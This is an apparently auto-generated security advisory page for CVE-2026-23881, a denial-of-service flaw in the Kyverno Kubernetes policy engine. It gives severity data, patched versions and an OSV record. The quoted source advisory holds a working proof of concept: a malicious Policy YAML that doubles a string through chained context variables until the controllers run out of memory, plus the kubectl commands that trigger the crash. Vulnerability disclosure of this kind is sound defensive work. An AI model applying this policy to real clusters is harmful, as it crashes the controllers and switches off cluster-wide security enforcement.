CVE-2026-23881: Github.com/kyverno/kyverno Denial of Service Vulnerability

HIGH
Advisory Identifier: GHSA-r2rj-wwm5-x6mq
CVSS 7.7
CWE-770
Published
Advisory Summary

CVE-2026-23881 is a HIGH (CVSS 7.7) denial of service vulnerability (CWE-770: Allocation of Resources Without Limits or Throttling) affecting Github.com/kyverno/kyverno libraries in the Go ecosystem. The issue involves kyverno denial of service via context variable amplification in policy engine. Remediation is available by upgrading affected packages to version 1.15.3, 1.16.3.

CVE-2026-23881 at a Glance

CVE Identifier CVE-2026-23881
GHSA Identifier GHSA-r2rj-wwm5-x6mq
Severity HIGH
CVSS v3.1 Base Score 7.7
CWE Classification CWE-770: Allocation of Resources Without Limits or Throttling
Affected Product Github.com/kyverno/kyverno
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 7.7

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality None (C:N)
Integrity None (I:N)
Availability High (A:H)

How to Fix CVE-2026-23881

To remediate this vulnerability, upgrade all affected Github.com/kyverno/kyverno dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/kyverno/kyverno fixed: 1.15.3
Upgrade github.com/kyverno/kyverno to 1.15.3
github.com/kyverno/kyverno fixed: 1.16.3
Upgrade github.com/kyverno/kyverno to 1.16.3
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/kyverno/kyverno

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-23881, inspect your project dependencies for Github.com/kyverno/kyverno:

inspect dependencies for github.com/kyverno/kyverno

Analyze the terminal output to locate any version of Github.com/kyverno/kyverno in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 1.15.3), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-770: Allocation of Resources Without Limits or Throttling, where the product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated. In Github.com/kyverno/kyverno, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary Unbounded memory consumption in Kyverno's policy engine allows users with policy creation privileges to cause Denial of Serviceby crafting policies that exponentially amplify string data through context variables. ## Details For example, the `random()` JMESPath function in `pkg/engine/jmespath/functions.go` generates random strings. Combined with the `join()` function, an attacker can create exponential string amplification through context variable chaining: The PoC attack uses exponential doubling: - `l0` = `random('[a-zA-Z0-9]{1000}')` → 1KB - `l1` = `join('', [l0, l0])` → 2KB - `l2` = `join('', [l1, l1])` → 4KB - ... continues to `l18` → 256MB The context evaluation has no cumulative size limit, allowing unbounded memory allocation. ## PoC Tested on Kyverno v1.16.1 on k8s v1.34.0 (kind). 1. Create namespace: ```bash kubectl create namespace poc-test ``` 2. Observe pod statuses from `kyverno` namespace on another terminal: ```bash kubectl get pods -n kyverno -w ``` 2. Apply malicious policy: ```yaml apiVersion: kyverno.io/v1 kind: Policy metadata: name: memory-exhaustion-poc namespace: poc-test spec: validationFailureAction: Enforce rules: - name: exhaust-memory match: any: - resources: kinds: - ConfigMap context: - name: l0 variable: jmesPath: random('[a-zA-Z0-9]{1000}') - name: l1 variable: jmesPath: join('', [l0, l0]) - name: l2 variable: jmesPath: join('', [l1, l1]) - name: l3 variable: jmesPath: join('', [l2, l2]) - name: l4 variable: jmesPath: join('', [l3, l3]) - name: l5 variable: jmesPath: join('', [l4, l4]) - name: l6 variable: jmesPath: join('', [l5, l5]) - name: l7 variable: jmesPath: join('', [l6, l6]) - name: l8 variable: jmesPath: join('', [l7, l7]) - name: l9 variable: jmesPath: join('', [l8, l8]) - name: l10 variable: jmesPath: join('', [l9, l9]) - name: l11 variable: jmesPath: join('', [l10, l10]) - name: l12 variable: jmesPath: join('', [l11, l11]) - name: l13 variable: jmesPath: join('', [l12, l12]) - name: l14 variable: jmesPath: join('', [l13, l13]) - name: l15 variable: jmesPath: join('', [l14, l14]) - name: l16 variable: jmesPath: join('', [l15, l15]) - name: l17 variable: jmesPath: join('', [l16, l16]) - name: l18 variable: jmesPath: join('', [l17, l17]) validate: message: "Memory exhaustion PoC" deny: conditions: any: - key: "{{ l18 }}" operator: Equals value: "impossible-match" ``` As soon as you apply this, you'll see the reports controller gets OOM killed and the container enters a crash loop. 4. Trigger policy evaluation on the admission controller: ```bash kubectl create configmap trigger -n poc-test --from-literal=key=value ``` Response: ``` error: failed to create configmap: Internal error occurred: failed calling webhook "validate.kyverno.svc-fail": failed to call webhook: Post "https://kyverno-svc.kyverno.svc:443/validate/fail?timeout=10s": EOF ``` The Kyverno admission controller has allocated ~256MB of memory per policy evaluation. The default memory limit from the Helm chart is 256 MB, and the process crashes. 5. Check pod status from the `kyverno` namespace: ```bash kubectl get pods -n kyverno ``` Outputs: ``` kyverno kyverno-admission-controller-58cb4b76c9-wd45p 0/1 OOMKilled 1 (20s ago) 178m kyverno kyverno-reports-controller-576566fb98-pfb2f 0/1 OOMKilled 1 (1s ago) 178m ``` While the reports controller is in a crash loop, the admission controller crashes only on trigger. You can re-run the same `kubectl create configmap` command from above and reproduce the crash. ## Impact Denial of Service with cluster-wide security impact. Users with `Policy` or `ClusterPolicy` creation privileges can exhaust memory in the Kyverno admission controller and the reports controller, causing: - Pod OOMKill and service disruption - No logs on why the crash occurred (admission controller, reports controller) - Cluster-wide policy enforcement disabled and security policies stop being evaluated - If `failurePolicy: Ignore` is configured, workloads bypass all validation during outage - Applications depending on Kyverno mutations may deploy with incorrect configurations Any Kyverno deployment where non-admin users can create policies (e.g., namespace-scoped Policy resources) is affected. ## Mitigation Add a context size limit to prevent unbounded memory allocation during policy evaluation.

CVE-2026-23881 Affected Github.com/kyverno/kyverno Versions

2 component(s)
Fixed Versions:
1.15.31.16.3
Product / Package Ecosystem Affected Versions Fixed Version
github.com/kyverno/kyverno
Go
< 1.15.3
1.15.3
github.com/kyverno/kyverno
Go
≥ 1.16.0-rc.1
< 1.16.3
1.16.3

References

Frequently Asked Questions

What is CVE-2026-23881?
CVE-2026-23881 is a security vulnerability in Github.com/kyverno/kyverno involving Kyverno Denial of Service via Context Variable Amplification in Policy Engine under CWE-770: Allocation of Resources Without Limits or Throttling.
Which Github.com/kyverno/kyverno versions are affected?
Affected versions include releases prior to 1.15.3, 1.16.3 across affected packages: github.com/kyverno/kyverno.
What version fixes CVE-2026-23881?
Upgrading to 1.15.3, 1.16.3 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/kyverno/kyverno affected?
Yes, github.com/kyverno/kyverno is affected in releases prior to 1.15.3, 1.16.3. Upgrade your dependency to 1.15.3, 1.16.3 or later.
What is the CVSS score of CVE-2026-23881?
CVE-2026-23881 has a CVSS v3.1 base score of 7.7 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H.
What CWE is associated with CVE-2026-23881?
CVE-2026-23881 is classified under CWE-770: Allocation of Resources Without Limits or Throttling (The product allocates a reusable resource or group of resources on behalf of an actor without imposing any intended restrictions on the size or number of resources that can be allocated.).
How can I check Go dependencies for CVE-2026-23881?
Run the dependency tree command: 'inspect dependencies for github.com/kyverno/kyverno'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-r2rj-wwm5-x6mq",
  "modified" : "2026-01-29T03:31:12Z",
  "published" : "2026-01-27T18:02:22Z",
  "aliases" : [ "CVE-2026-23881" ],
  "summary" : "Kyverno Denial of Service via Context Variable Amplification in Policy Engine",
  "details" : "## Summary\n\nUnbounded memory consumption in Kyverno's policy engine allows users with policy creation privileges to cause Denial of Serviceby crafting policies that exponentially amplify string data through context variables.\n\n## Details\n\nFor example, the `random()` JMESPath function in `pkg/engine/jmespath/functions.go` generates random strings. Combined with the `join()` function, an attacker can create exponential string amplification through context variable chaining:\n\nThe PoC attack uses exponential doubling:\n- `l0` = `random('[a-zA-Z0-9]{1000}')` → 1KB\n- `l1` = `join('', [l0, l0])` → 2KB\n- `l2` = `join('', [l1, l1])` → 4KB\n- ... continues to `l18` → 256MB\n\nThe context evaluation has no cumulative size limit, allowing unbounded memory allocation.\n\n## PoC\n\nTested on Kyverno v1.16.1 on k8s v1.34.0 (kind).\n\n1. Create namespace:\n```bash\nkubectl create namespace poc-test\n```\n\n2. Observe pod statuses from `kyverno` namespace on another terminal:\n```bash\nkubectl get pods -n kyverno -w\n```\n\n2. Apply malicious policy:\n```yaml\napiVersion: kyverno.io/v1\nkind: Policy\nmetadata:\n  name: memory-exhaustion-poc\n  namespace: poc-test\nspec:\n  validationFailureAction: Enforce\n  rules:\n    - name: exhaust-memory\n      match:\n        any:\n          - resources:\n              kinds:\n                - ConfigMap\n      context:\n        - name: l0\n          variable:\n            jmesPath: random('[a-zA-Z0-9]{1000}')\n        - name: l1\n          variable:\n            jmesPath: join('', [l0, l0])\n        - name: l2\n          variable:\n            jmesPath: join('', [l1, l1])\n        - name: l3\n          variable:\n            jmesPath: join('', [l2, l2])\n        - name: l4\n          variable:\n            jmesPath: join('', [l3, l3])\n        - name: l5\n          variable:\n            jmesPath: join('', [l4, l4])\n        - name: l6\n          variable:\n            jmesPath: join('', [l5, l5])\n        - name: l7\n          variable:\n            jmesPath: join('', [l6, l6])\n        - name: l8\n          variable:\n            jmesPath: join('', [l7, l7])\n        - name: l9\n          variable:\n            jmesPath: join('', [l8, l8])\n        - name: l10\n          variable:\n            jmesPath: join('', [l9, l9])\n        - name: l11\n          variable:\n            jmesPath: join('', [l10, l10])\n        - name: l12\n          variable:\n            jmesPath: join('', [l11, l11])\n        - name: l13\n          variable:\n            jmesPath: join('', [l12, l12])\n        - name: l14\n          variable:\n            jmesPath: join('', [l13, l13])\n        - name: l15\n          variable:\n            jmesPath: join('', [l14, l14])\n        - name: l16\n          variable:\n            jmesPath: join('', [l15, l15])\n        - name: l17\n          variable:\n            jmesPath: join('', [l16, l16])\n        - name: l18\n          variable:\n            jmesPath: join('', [l17, l17])\n      validate:\n        message: \"Memory exhaustion PoC\"\n        deny:\n          conditions:\n            any:\n              - key: \"{{ l18 }}\"\n                operator: Equals\n                value: \"impossible-match\"\n```\n\nAs soon as you apply this, you'll see the reports controller gets OOM killed and the container enters a crash loop.\n\n4. Trigger policy evaluation on the admission controller:\n```bash\nkubectl create configmap trigger -n poc-test --from-literal=key=value\n```\n\nResponse:\n\n```\nerror: failed to create configmap: Internal error occurred: failed calling webhook \"validate.kyverno.svc-fail\": failed to call webhook: Post \"https://kyverno-svc.kyverno.svc:443/validate/fail?timeout=10s\": EOF\n```\n\nThe Kyverno admission controller has allocated ~256MB of memory per policy evaluation. The default memory limit from the Helm chart is 256 MB, and the process crashes.\n\n5. Check pod status from the `kyverno` namespace:\n\n```bash\nkubectl get pods -n kyverno\n```\n\nOutputs:\n\n```\nkyverno              kyverno-admission-controller-58cb4b76c9-wd45p    0/1     OOMKilled          1 (20s ago)   178m\nkyverno              kyverno-reports-controller-576566fb98-pfb2f      0/1     OOMKilled          1 (1s ago)   178m\n```\n\nWhile the reports controller is in a crash loop, the admission controller crashes only on trigger. You can re-run the same `kubectl create configmap` command from above and reproduce the crash.\n\n\n## Impact\n\nDenial of Service with cluster-wide security impact. Users with `Policy` or `ClusterPolicy` creation privileges can exhaust memory in the Kyverno admission controller and the reports controller, causing:\n\n- Pod OOMKill and service disruption\n- No logs on why the crash occurred (admission controller, reports controller)\n- Cluster-wide policy enforcement disabled and security policies stop being evaluated\n- If `failurePolicy: Ignore` is configured, workloads bypass all validation during outage\n- Applications depending on Kyverno mutations may deploy with incorrect configurations\n\nAny Kyverno deployment where non-admin users can create policies (e.g., namespace-scoped Policy resources) is affected.\n\n## Mitigation\n\nAdd a context size limit to prevent unbounded memory allocation during policy evaluation.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/kyverno/kyverno"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "1.15.3"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/kyverno/kyverno"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "1.16.0-rc.1"
      }, {
        "fixed" : "1.16.3"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/kyverno/kyverno/security/advisories/GHSA-r2rj-wwm5-x6mq"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-23881"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/kyverno/kyverno/commit/7a651be3a8c78dcabfbf4178b8d89026bf3b850f"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/kyverno/kyverno/commit/f5617f60920568a301740485472bf704892175b7"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/kyverno/kyverno"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-770" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-01-27T18:02:22Z",
    "nvd_published_at" : "2026-01-27T17:16:12Z"
  }
}